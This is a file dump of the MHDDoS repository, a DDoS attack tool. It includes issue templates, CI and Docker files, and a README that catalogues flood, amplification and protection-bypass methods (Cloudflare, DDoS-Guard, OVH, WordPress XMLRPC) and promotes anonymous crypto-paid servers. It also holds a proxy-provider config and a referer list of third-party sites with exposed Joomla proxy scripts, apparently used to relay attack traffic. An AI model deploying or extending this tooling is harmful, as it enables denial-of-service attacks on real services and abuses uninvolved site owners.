[
  {
    "path": ".github/ISSUE_TEMPLATE/bug_report.yml",
    "content": "name: 🐞 Bug Report\ndescription: Create a report to help us improve\ntitle: \"[BUG Report]:\"\nlabels: [\"bug\"]\nassignees:\n  - SudoLite\n  - MHProDev\nbody:\n  - type: markdown\n    attributes:\n      value: |\n        #### Thanks for taking the time to fill out this bug report!\n  \n  - type: dropdown\n    id: version\n    attributes:\n      label: Version\n      description: What version of our software are you running?\n      options:\n        - 2.4 (Default)\n        - 2.3\n        - 2.0\n    validations:\n      required: true\n  \n  - type: dropdown\n    id: parts\n    attributes:\n      label: Which section is the problem?\n      options:\n        - L7 (DDoS Attack Layer 7)\n        - L4 (DDoS Attack Layer 4)\n        - Script Base\n        - Tools\n        - Wiki\n        - Other\n    validations:\n      required: true\n  \n  - type: textarea\n    id: environment\n    attributes:\n      label: Please complete the following information\n      render: true\n      placeholder: |\n         - OS: [e.g. Ubuntu]\n         - Installed Requirements Version [e.g. PyRoxy1.0b5]\n         - Python Version [e.g. 3.8.x]\n      value: |\n        - OS: [e.g. Ubuntu]\n        - Installed Requirements Version [e.g. PyRoxy1.0b5]\n        - Python Version [e.g. 3.8.x]\n    validations:\n      required: true\n  \n  - type: textarea\n    id: what-happened\n    attributes:\n      label: What happened (Describe the bug) ?\n      description: Also tell us, what did you expect to happen?\n      placeholder: A bug happened!\n      value: \"A bug happened!\"\n    validations:\n      required: true\n  \n  - type: input\n    id: screenshots\n    attributes:\n      label: Screenshots\n      description: Just upload screenshots\n      placeholder: https://imgur.com/uWteNty\n    validations:\n      required: true\n\n  - type: input\n    id: reproduction\n    attributes:\n      label: Please provide a link to a minimal reproduction of the bug\n      placeholder: ex. https://docs.python.org\n  \n  - type: textarea\n    id: logs\n    attributes:\n      label: Relevant log output\n      description: Please copy and paste any relevant log output. This will be automatically formatted into code, so no need for backticks.\n      render: shell\n  \n  - type: markdown\n    attributes:\n      value: |\n        # Recommended fix, suggestions\n  \n  - type: textarea\n    id: additional-context\n    attributes:\n      label: Additional context\n      description: Tell us, what do you expect from us?\n      placeholder: Optional\n  \n  - type: textarea\n    id: code\n    attributes:\n      label: Your code\n      description: Please enter the suggested code to resolve the issue. This will be automatically formatted into code, so no need for backticks.\n      render: true\n \n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/config.yml",
    "content": "blank_issues_enabled: true\ncontact_links:\n  - name: 📃 Documentation\n    url: https://github.com/MatrixTM/MHDDoS/wiki\n    about: Please read the documentation from here.\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/feature_request.yml",
    "content": "name: 💡 Feature request\ndescription: Suggest an idea for this project\nlabels: [\"enhancement\"]\nassignees:\n  - SudoLite\n  - MHProDev\nbody:\n  - type: markdown\n    attributes:\n      value: |\n        #### Thanks for taking the time to fill out this Feature request!\n  \n  - type: dropdown\n    id: parts\n    attributes:\n      label: Which section is this feature request for?\n      options:\n        - L7 (DDoS Attack Layer 7)\n        - L4 (DDoS Attack Layer 4)\n        - Script Base\n        - Tools\n        - Wiki\n        - Other\n    validations:\n      required: true\n  - type: checkboxes\n    attributes:\n      label: Is there an existing issue for this?\n      description: Please search to see if an issue already exists for the feature you are requesting. (https://github.com/MHProDev/MHDDoS/issues).\n      options:\n      - label: I have searched the existing issues\n        required: true\n  - type: textarea\n    attributes:\n      label: Is your feature request related to a problem? Please describe the problem.\n      description: A clear and concise description of what the problem is.\n      placeholder: I am trying to do [...] but [...]\n    validations:\n      required: false\n  - type: textarea\n    attributes:\n      label: Describe the solution you'd like\n      description: |\n        A clear and concise description of what you want to happen. Include any alternative solutions you've considered.\n    validations:\n      required: true\n  - type: textarea\n    attributes:\n      label: Additional context\n      description: |\n        Add any other context or screenshots about the feature request here.\n    validations:\n      required: false\n"
  },
  {
    "path": ".github/dependabot.yml",
    "content": "version: 2\nupdates:\n  # Enable version updates for npm\n  - package-ecosystem: \"pip\"\n    # Look for `package.json` and `lock` files in the `root` directory\n    directory: \"/\"\n    # Check the npm registry for updates every day (weekdays)\n    schedule:\n      interval: \"daily\"\n      labels:\n      - \"dependencies\"\n"
  },
  {
    "path": ".github/workflows/codeql-analysis.yml",
    "content": "# For most projects, this workflow file will not need changing; you simply need\n# to commit it to your repository.\n#\n# You may wish to alter this file to override the set of languages analyzed,\n# or to provide custom queries or build logic.\n#\n# ******** NOTE ********\n# We have attempted to detect the languages in your repository. Please check\n# the `language` matrix defined below to confirm you have the correct set of\n# supported CodeQL languages.\n#\nname: \"CodeQL\"\n\non:\n  push:\n    branches: [ main ]\n  pull_request:\n    # The branches below must be a subset of the branches above\n    branches: [ main ]\n  schedule:\n    - cron: '42 0 * * 3'\n\njobs:\n  analyze:\n    name: Analyze\n    runs-on: ubuntu-latest\n    permissions:\n      actions: read\n      contents: read\n      security-events: write\n\n    strategy:\n      fail-fast: false\n      matrix:\n        language: [ 'python' ]\n        # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python', 'ruby' ]\n        # Learn more about CodeQL language support at https://git.io/codeql-language-support\n\n    steps:\n    - name: Checkout repository\n      uses: actions/checkout@v2\n\n    # Initializes the CodeQL tools for scanning.\n    - name: Initialize CodeQL\n      uses: github/codeql-action/init@v1\n      with:\n        languages: ${{ matrix.language }}\n        # If you wish to specify custom queries, you can do so here or in a config file.\n        # By default, queries listed here will override any specified in a config file.\n        # Prefix the list here with \"+\" to use these queries and those in the config file.\n        # queries: ./path/to/local/query, your-org/your-repo/queries@main\n\n    # Autobuild attempts to build any compiled languages  (C/C++, C#, or Java).\n    # If this step fails, then you should remove it and run the build manually (see below)\n    - name: Autobuild\n      uses: github/codeql-action/autobuild@v1\n\n    # ℹ️ Command-line programs to run using the OS shell.\n    # 📚 https://git.io/JvXDl\n\n    # ✏️ If the Autobuild fails above, remove it and uncomment the following three lines\n    #    and modify them (or add more) to build your code if your project\n    #    uses a compiled language\n\n    #- run: |\n    #   make bootstrap\n    #   make release\n\n    - name: Perform CodeQL Analysis\n      uses: github/codeql-action/analyze@v1\n"
  },
  {
    "path": ".github/workflows/docker-image.yml",
    "content": "name: Docker Image CI\n\non:\n  push:\n    branches: [ \"main\", \"feature/dockerfile\" ]\n\njobs:\n\n  push_image:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v3\n\n      - name: Set up QEMU\n        uses: docker/setup-qemu-action@v1\n      - name: Set up Docker Buildx\n        uses: docker/setup-buildx-action@v1\n\n      - name: Log in to the Container registry\n        uses: docker/login-action@v1\n        with:\n          registry: ghcr.io\n          username: ${{ github.actor }}\n          password: ${{ secrets.GITHUB_TOKEN }}\n\n      - name: Build and push Docker image\n        uses: docker/build-push-action@v3\n        with:\n          context: .\n          push: true\n          tags: ghcr.io/mhprodev/mhddos:${{ github.sha }},ghcr.io/mhprodev/mhddos:latest\n"
  },
  {
    "path": ".gitignore",
    "content": "venv\n/.idea/\nfiles/proxies/*\n.DS_Store\n"
  },
  {
    "path": "Dockerfile",
    "content": "# much smaller image than debian based python images\nFROM python:3.12-slim\n\nLABEL maintainer=\"0xkatana\"\n\nWORKDIR /app\n\n# Install git \nRUN apt-get update && apt-get install -y git && apt-get clean\n\n# copy requirements.txt for better caching \nCOPY requirements.txt .\n\n# Install py dependencies (may migrate to uv later)\nRUN pip install --no-cache-dir -r requirements.txt\n\n# Copy all code at once  instead of copy code then files \nCOPY . .\n\nENTRYPOINT [\"python\", \"start.py\"]\n"
  },
  {
    "path": "LICENSE",
    "content": "MIT License\n\nCopyright (c) 2025 MatrixTM\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "README.md",
    "content": "<h1 align=\"center\">MHDDoS - DDoS Attack Script With 57 Methods</h1>\n<em><h5 align=\"center\">(Programming Language - Python 3)</h5></em>\n\n<p align=\"center\">\n<a href=\"#\"><img alt=\"MH-DDoS forks\" src=\"https://img.shields.io/github/forks/MatrixTM/MHDDoS?style=for-the-badge\"></a>\n<a href=\"#\"><img alt=\"MH-DDoS last commit (main)\" src=\"https://img.shields.io/github/last-commit/MatrixTM/MHDDoS/main?color=green&style=for-the-badge\"></a>\n<a href=\"#\"><img alt=\"MH-DDoS Repo stars\" src=\"https://img.shields.io/github/stars/MatrixTM/MHDDoS?style=for-the-badge&color=yellow\"></a>\n<a href=\"#\"><img alt=\"MH-DDoS License\" src=\"https://img.shields.io/github/license/MatrixTM/MHDDoS?color=orange&style=for-the-badge\"></a>\n<a href=\"https://github.com/MatrixTM/MHDDoS/issues\"><img alt=\"MatrixTM issues\" src=\"https://img.shields.io/github/issues/MatrixTM/MHDDoS?color=purple&style=for-the-badge\"></a>\n  \n<p align=\"center\">Please Don't Attack websites without the owner's consent.</p>\n\n<p align=\"center\"><img src=\"https://i.imgur.com/aNrHJcA.png\" width=\"1078\" height=\"433\" alt=\"POWER\"></p>\n<p align=\"center\"><img src=\"https://i.imgur.com/4Q7v2wn.png\" width=\"1078\" height=\"296\" alt=\"SCRIPT\"></p>\n\n## Features And Methods\n\n * 💣 Layer7\n\n   * <img src=\"https://img.icons8.com/cotton/344/domain.png\" width=\"16\" height=\"16\" alt=\"get\"> GET | GET Flood\n   * <img src=\"https://cdn0.iconfinder.com/data/icons/database-storage-5/60/server__database__fire__burn__safety-512.png\" width=\"16\" height=\"16\" alt=\"post\"> POST | POST Flood\n   * <img src=\"https://ovh.github.io/manager/ovhcloud-logo.webp\" width=\"16\" height=\"16\" alt=\"ovh\"> OVH | Bypass OVH\n   * <img src=\"https://cdn-icons-png.flaticon.com/512/1691/1691948.png\" width=\"16\" height=\"16\" alt=\"ovh\"> RHEX | Random HEX\n   * <img src=\"https://cdn-icons-png.flaticon.com/512/4337/4337972.png\" width=\"16\" height=\"16\" alt=\"ovh\"> STOMP | Bypass chk_captcha\n   * <img src=\"https://cdn.iconscout.com/icon/premium/png-256-thumb/cyber-bullying-2557797-2152371.png\" width=\"16\" height=\"16\" alt=\"stress\"> STRESS | Send HTTP Packet With High Byte \n   * <img src=\"https://cdn.worldvectorlogo.com/logos/dyndns.svg\" width=\"16\" height=\"16\" alt=\"dyn\"> DYN | A New Method With Random SubDomain\n   * <img src=\"https://cdn-icons-png.flaticon.com/512/6991/6991643.png\" width=\"16\" height=\"16\" alt=\"downloader\"> DOWNLOADER | A New Method of Reading data slowly\n   * <img src=\"https://cdn2.iconfinder.com/data/icons/poison-and-venom-fill/160/loris2-512.png\" width=\"16\" height=\"16\" alt=\"slow\"> SLOW | Slowloris Old Method of DDoS\n   * <img src=\"https://lyrahosting.com/wp-content/uploads/2020/06/ddos-how-work-icon.png\" width=\"16\" height=\"16\" alt=\"head\"> HEAD | https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/HEAD\n   * <img src=\"https://img.icons8.com/plasticine/2x/null-symbol.png\" width=\"16\" height=\"16\" alt=\"null\"> NULL | Null UserAgent and ...\n   * <img src=\"https://i.pinimg.com/originals/03/2e/7d/032e7d0755cd511c753bcb6035d44f68.png\" width=\"16\" height=\"16\" alt=\"cookie\"> COOKIE | Random Cookie PHP 'if (isset($_COOKIE))'\n   * <img src=\"https://cdn0.iconfinder.com/data/icons/dicticons-files-folders/32/office_pps-512.png\" width=\"16\" height=\"16\" alt=\"pps\"> PPS |  Only 'GET / HTTP/1.1\\r\\n\\r\\n'\n   * <img src=\"https://cdn3.iconfinder.com/data/icons/internet-security-14/48/DDoS_website_webpage_bomb_virus_protection-512.png\" width=\"16\" height=\"16\" alt=\"even\"> EVEN | GET Method with more header\n   * <img src=\"https://iili.io/HU9BC74.png\" width=\"16\" height=\"16\" alt=\"googleshield\"> GSB | Google Project Shield Bypass\n   * <img src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/1/1f/DDoS-Guard_logo.svg/1200px-DDoS-Guard_logo.svg.png\" width=\"16\" height=\"16\" alt=\"DDoSGuard\"> DGB | DDoS Guard Bypass\n   * <img src=\"https://i.imgur.com/bGL8qfw.png\" width=\"16\" height=\"16\" alt=\"ArvanCloud\"> AVB | Arvan Cloud Bypass\n   * <img src=\"https://iili.io/HU9BC74.png\" width=\"16\" height=\"16\" alt=\"Google bot\"> BOT | Like Google bot\n   * <img src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/a/a8/Apache_HTTP_Server_Logo_%282016%29.svg/1000px-Apache_HTTP_Server_Logo_%282016%29.svg.png\" width=\"16\" height=\"16\" alt=\"Apache Webserver\"> APACHE | Apache Expliot\n   * <img src=\"https://icon-library.com/images/icon-for-wordpress/icon-for-wordpress-16.jpg\" width=\"16\" height=\"16\" alt=\"wordpress expliot\"> XMLRPC | WP XMLRPC exploit (add /xmlrpc.php)\n   * <img src=\"https://techcrunch.com/wp-content/uploads/2019/06/J2LlHqT3qJl0bG9Alpgc-1-730x438.png?w=730\" width=\"16\" height=\"16\" alt=\"CloudFlare\"> CFB | CloudFlare Bypass\n   * <img src=\"https://techcrunch.com/wp-content/uploads/2019/06/J2LlHqT3qJl0bG9Alpgc-1-730x438.png?w=730\" width=\"16\" height=\"16\" alt=\"CloudFlare UnderAttack Mode\"> CFBUAM | CloudFlare Under Attack Mode Bypass\n   * <img src=\"http://iclouddnsbypass.com/wp-content/uploads/2015/02/iCloudDNSBypassServer.ico\" width=\"16\" height=\"16\" alt=\"bypass\"> BYPASS |  Bypass Normal AntiDDoS\n   * <img src=\"https://cdn-icons-png.flaticon.com/512/905/905568.png\" width=\"16\" height=\"16\" alt=\"bypass\"> BOMB |  Bypass with codesenberg/bombardier\n   * 🔪 KILLER | Run many threads to kill a target\n   * 🧅 TOR | Bypass onion website\n\n\n* 🧨 Layer4: \n  * <img src=\"https://raw.githubusercontent.com/kgretzky/pwndrop/master/media/pwndrop-logo-512.png\" width=\"16\" height=\"16\" alt=\"tcp\"> TCP | TCP Flood Bypass\n  * <img src=\"https://styles.redditmedia.com/t5_2rxmiq/styles/profileIcon_snoob94cdb09-c26c-4c24-bd0c-66238623cc22-headshot.png\" width=\"16\" height=\"16\" alt=\"udp\"> UDP | UDP Flood Bypass\n  * <img src=\"https://cdn-icons-png.flaticon.com/512/1918/1918576.png\" width=\"16\" height=\"16\" alt=\"syn\"> SYN | SYN Flood\n  * <img src=\"https://images.icon-icons.com/2407/PNG/512/ovh_icon_146131.png\" width=\"16\" height=\"16\" alt=\"ovh\"> OVH-UDP | UDP flood with random HTTP headers and binary payload to bypass OVH and WAFs.\n  * <img src=\"https://cdn-icons-png.flaticon.com/512/1017/1017466.png\" width=\"16\" height=\"16\" alt=\"cps\"> CPS | Open and close connections with proxy\n  * <img src=\"https://icon-library.com/images/icon-ping/icon-ping-28.jpg\" width=\"16\" height=\"16\" alt=\"icmp\"> ICMP | Icmp echo request flood (Layer3)\n  * <img src=\"https://s6.uupload.ir/files/1059643_g8hp.png\" width=\"16\" height=\"16\" alt=\"connection\"> CONNECTION | Open connection alive with proxy\n  * <img src=\"https://ia803109.us.archive.org/27/items/source-engine-video-projects/source-engine-video-projects_itemimage.png\" width=\"16\" height=\"16\" alt=\"vse\"> VSE | Send Valve Source Engine Protocol\n  * <img src=\"https://mycrackfree.com/wp-content/uploads/2018/08/TeamSpeak-Server-9.png\" width=\"16\" height=\"16\" alt=\"teamspeak 3\"> TS3 | Send Teamspeak 3 Status Ping Protocol\n  * <img src=\"https://cdn2.downdetector.com/static/uploads/logo/75ef9fcabc1abea8fce0ebd0236a4132710fcb2e.png\" width=\"16\" height=\"16\" alt=\"fivem\"> FIVEM | Send FiveM Status Ping Protocol\n  * <img src=\"https://github.com/user-attachments/assets/f40748bf-dd28-4294-b862-cb0acbc74eea\" width=\"16\" height=\"16\" alt=\"fivem-token\"> FIVEM-TOKEN | Send FiveM confirmation token flood\n  * <img src=\"https://cdn.iconscout.com/icon/free/png-512/redis-4-1175103.png\" width=\"16\" height=\"16\" alt=\"mem\"> MEM | Memcached Amplification\n  * <img src=\"https://lyrahosting.com/wp-content/uploads/2020/06/ddos-attack-icon.png\" width=\"16\" height=\"16\" alt=\"ntp\"> NTP | NTP Amplification\n  * <img src=\"https://cdn-icons-png.flaticon.com/512/4712/4712139.png\" width=\"16\" height=\"16\" alt=\"mcbot\"> MCBOT | Minecraft Bot Attack\n  * <img src=\"https://cdn.worldvectorlogo.com/logos/minecraft-1.svg\" width=\"16\" height=\"16\" alt=\"minecraft\"> MINECRAFT | Minecraft Status Ping Protocol\n  * <img src=\"https://cdn.worldvectorlogo.com/logos/minecraft-1.svg\" width=\"16\" height=\"16\" alt=\"minecraft pe\"> MCPE | Minecraft PE Status Ping Protocol\n  * <img src=\"https://cdn-icons-png.flaticon.com/512/2653/2653461.png\" width=\"16\" height=\"16\" alt=\"dns\"> DNS | DNS Amplification\n  * <img src=\"https://lyrahosting.com/wp-content/uploads/2020/06/ddos-attack-icon.png\" width=\"16\" height=\"16\" alt=\"chargen\"> CHAR | Chargen Amplification\n  * <img src=\"https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRct5OvjSCpUftyRMm3evgdPOa-f8LbwJFO-A&usqp=CAU\" width=\"16\" height=\"16\" alt=\"cldap\"> CLDAP | Cldap Amplification\n  * <img src=\"https://help.apple.com/assets/6171BD2C588E52621824409D/6171BD2D588E5262182440A4/en_US/8b631353e070420f47530bf95f1a7fae.png\" width=\"16\" height=\"16\" alt=\"ard\"> ARD | Apple Remote Desktop Amplification\n  * <img src=\"https://www.tenforums.com/geek/gars/images/2/types/thumb__emote__esktop__onnection.png\" width=\"16\" height=\"16\" alt=\"rdp\"> RDP |  Remote Desktop Protocol Amplification\n\n* ⚙️ Tools - Runs With \n`\npython3 start.py tools\n`\n  * 🌟 CFIP | Find Real IP Address Of Websites Powered By Cloudflare\n  * 🔪 DNS | Show DNS Records Of Sites\n  * 📍  TSSRV | TeamSpeak SRV Resolver\n  * ⚠  PING | PING Servers\n  * 📌 CHECK | Check If Websites Status\n  * 😎 DSTAT | That Shows Bytes Received, bytes Sent and their amount\n\n* 🎩 Other\n  * ❌ STOP | STOP All Attacks\n  * 🌠 TOOLS | Console Tools\n  * 👑 HELP | Show Usage Script\n\n  \n<h1 align=\"center\">\nOur social's💻\n  \n</h2> \n\n<h1 style=\"color:red;text-align: center;\" style=\"text-align: center;\" align=\"center\">Please do not use the \"Issues\" section to ask your questions!</h1>\n<div align=\"center\">\n   <img src=\"https://icon-library.com/images/github-icon-vector/github-icon-vector-27.jpg\" width=\"64\" height=\"64\"/>\n   <img src=\"https://brandlogos.net/wp-content/uploads/2021/11/discord-logo.png\"  width=\"64\" height=\"64\" alt=\"discord\" />\n   <img src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/8/82/Telegram_logo.svg/2048px-Telegram_logo.svg.png\" width=\"64\" height=\"64\" alt=\"telegram\" />\n</div>\n\n * [Matrix community Telegram channel](https://t.me/Matrix_Development)\n * [Matrix team Telegram Group](https://t.me/MatrixTMChat)\n * [GitHub](https://github.com/MatrixTM)\n### If u Like the project, leave a star on the repository!\n\n## Downloads\n\nYou can download it from [GitHub Releases](https://github.com/MatrixTM/MHDDoS/releases)\n\n### Getting Started\n\n**Requirements**\n\n* [dnspython](https://github.com/rthalley/dnspython)\n* [cfscrape](https://github.com/Anorov/cloudflare-scrape)\n* [impacket](https://github.com/SecureAuthCorp/impacket)\n* [requests](https://github.com/psf/requests)\n* [Python3][python3]\n* [PyRoxy](https://github.com/MatrixTM/PyRoxy)\n* [icmplib](https://github.com/ValentinBELYN/icmplib)\n* [certifi](https://github.com/certifi/python-certifi)\n* [psutil](https://github.com/giampaolo/psutil)\n* [yarl](https://github.com/aio-libs/yarl)\n---\n\n## Documentation\n\nYou can read it from [GitHub Wiki](https://github.com/MatrixTM/MHDDoS/wiki)\n\n**Clone and Install Script**\n\n```shell script\ngit clone https://github.com/MatrixTM/MHDDoS.git\ncd MHDDoS\npip install -r requirements.txt\n```\n\n**One-Line Installing on Fresh VPS**\n\n```shell script\napt -y update && apt -y install curl wget libcurl4 libssl-dev python3 python3-pip make cmake automake autoconf m4 build-essential git && git clone https://github.com/MatrixTM/MHDDoS.git && cd MH* && pip3 install -r requirements.txt\n```\n\n**Docker**\n\n```shell script\ngit clone https://github.com/MatrixTM/MHDDoS.git\ncd MHDDoS\ndocker compose build\n# you can use the built image directly by uncommenting one line in the dockercompose\ndocker compose run -it --entrypoint /bin/bash mhddos\n\n```\n\n\n[python3]: https://python.org 'Python3'\n[github issues]: https://github.com/MatrixTM/MHDDoS/issues 'enter'\n\n---\n\n## Need a Cheap Server? \n\n<a href=\"https://pfcloud.io/aff.php?aff=80\"><img src=\"https://github.com/user-attachments/assets/172b3543-982b-450e-937d-3c4f84764a4f\" width=\"728\" alt=\"pfcloud\"></a>\n#### You can buy an 10Gbps cheap server from [PFcloud Hosting](https://pfcloud.io/aff.php?aff=80) with crypto (Scan Allowed).\n\n\n\n\n<a href=\"https://zomro.com/vps?from=428115\"><img src=\"https://i.postimg.cc/KcH7CG8b/vps.png\" width=\"728\" height=\"90\" alt=\"zomro\"></a>\n#### [Zomro Hosting](https://zomro.com/vps?from=428115) allows you to purchase an hourly server using crypto and completely anonymously.\n\n"
  },
  {
    "path": "config.json",
    "content": "{\n  \"MCBOT\": \"MHDDoS_\",\n  \"MINECRAFT_DEFAULT_PROTOCOL\": 47,\n  \"proxy-providers\": [\n\n\t\t{\"type\":4, \"url\": \"https://raw.githubusercontent.com/TheSpeedX/PROXY-List/refs/heads/master/socks4.txt\",  \"timeout\": 5},\n\n\t\t{\"type\":5, \"url\": \"https://raw.githubusercontent.com/TheSpeedX/PROXY-List/refs/heads/master/socks5.txt\",  \"timeout\": 5},\n\n\t\t{\"type\":1, \"url\": \"https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt\",  \"timeout\": 5}\n\t\t\n\t]\n}\n"
  },
  {
    "path": "docker-compose.yml",
    "content": "version: \"3.9\"\n\nservices:\n  mhddos:\n    # image: ghcr.io/mhprodev/mhddos:latest\n    build: .\n    container_name: mhddos\n    restart: unless-stopped\n    volumes:\n      - ./config.json:/app/config.json\n      - ./files:/app/files\n     \n    \n    \n"
  },
  {
    "path": "files/referers.txt",
    "content": "https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u=\nhttps://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer/sharer.php?u=\nhttps://drive.google.com/viewerng/viewer?url=\nhttp://www.google.com/translate?u=\nhttps://developers.google.com/speed/pagespeed/insights/?url=\nhttp://help.baidu.com/searchResult?keywords=\nhttp://www.bing.com/search?q=\nhttps://add.my.yahoo.com/rss?url=\nhttps://play.google.com/store/search?q=\nhttp://www.google.com/?q=\nhttp://regex.info/exif.cgi?url=\nhttp://anonymouse.org/cgi-bin/anon-www.cgi/\nhttp://www.google.com/translate?u=\nhttp://translate.google.com/translate?u=\nhttp://validator.w3.org/feed/check.cgi?url=\nhttp://www.w3.org/2001/03/webdata/xsv?style=xsl&docAddrs=\nhttp://validator.w3.org/check?uri=\nhttp://jigsaw.w3.org/css-validator/validator?uri=\nhttp://validator.w3.org/checklink?uri=\nhttp://www.w3.org/RDF/Validator/ARPServlet?URI=\nhttp://www.w3.org/2005/08/online_xslt/xslt?xslfile=http%3A%2F%2Fwww.w3.org%2F2002%2F08%2Fextract-semantic.xsl&xmlfile=\nhttp://www.w3.org/2005/08/online_xslt/xslt?xmlfile=http://www.w3.org&xslfile=\nhttp://validator.w3.org/mobile/check?docAddr=\nhttp://validator.w3.org/p3p/20020128/p3p.pl?uri=\nhttp://online.htmlvalidator.com/php/onlinevallite.php?url=\nhttp://feedvalidator.org/check.cgi?url=\nhttp://gmodules.com/ig/creator?url=\nhttp://www.google.com/ig/adde?moduleurl=\nhttp://www.cynthiasays.com/mynewtester/cynthia.exe?rptmode=-1&url1=\nhttp://www.watchmouse.com/en/checkit.php?c=jpcheckit&vurl=\nhttp://host-tracker.com/check_page/?furl=\nhttp://panel.stopthehacker.com/services/validate-payflow?email=1@1.com&callback=a&target=\nhttp://www.onlinewebcheck.com/check.php?url=\nhttp://www.online-translator.com/url/translation.aspx?direction=er&sourceURL=\nhttp://www.translate.ru/url/translation.aspx?direction=er&sourceURL=\nhttp://about42.nl/www/showheaders.php;POST;about42.nl.txt\nhttp://browsershots.org;POST;browsershots.org.txt\nhttp://streamitwebseries.twww.tv/proxy.php?url=\nhttp://www.comicgeekspeak.com/proxy.php?url=\nhttp://67.20.105.143/bitess/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://bemaxjavea.com/javea-rentals-alquileres/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://centrobrico.net/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://conodeluz.org/magnanet/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://greenappledentaldt.com/home/templates/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://html.strost.ch/dgi/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://kobbeleia.net/joomla/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://krd-medway.co.uk/site/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://minterne.co.uk/mjs/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://old.ucpb.org/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.abs-silos.de/en/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.admksg.ru/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.autoklyszewski.pl/autoklyszewski/mambots/content/plugin_googlemap2_proxy.php?url=\nhttp://www.build.or.at/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.caiverbano.it/sito/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.cbcstittsville.com/home/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.ciutatdeivissa.org/portal/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.contrau.com.br/web/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.dierenhotelspaubeek.nl/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.gaston-schul.nl/DU/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.gaston-schul.nl/FR/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.gillinghamgurdwara.co.uk/site/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.gilmeuble.ch/cms/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.hortonmccormick.com/cms/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.kanzlei-berendes.de/homepage/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.kita-spielhaus.de/cms/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.lacasaencarilo.com.ar/sitio/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.losaromos-spa.com.ar/cms/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.losaromos-spa.com.ar/~losaromo/cms/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.nickclift.co.uk/web/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.palagini.it/palagini/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.parsifaldisco.com/joomla/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.podosys.com/csm/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.renault-windisch.de/cms/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.riegler-dorner.at/joomla/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.seevilla-dr-sturm.at/cms/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.sounders.es/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.suelcasa.com/suelcasa/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.tcl.lu/Site/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.tijssen-staal.nl/site/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.triatarim.com.tr/TriaEn/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.tus-haltern.de/site/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.vm-esslingen.de/cms/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.zahnarzt-buhl.de/praxis/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.sultanpalace.nl/site/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.bergenpol.com/cms//plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.arantzabelaikastola.com/webgunea//plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.fare-furore.com/plugins/content/plugin_googlemap2_proxy.php?url=\nhttp://www.dog-ryusen.com/plugins/system/plugin_googlemap2_proxy.php?url=\nhttp://www.spvgg-roedersheim.de/web/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?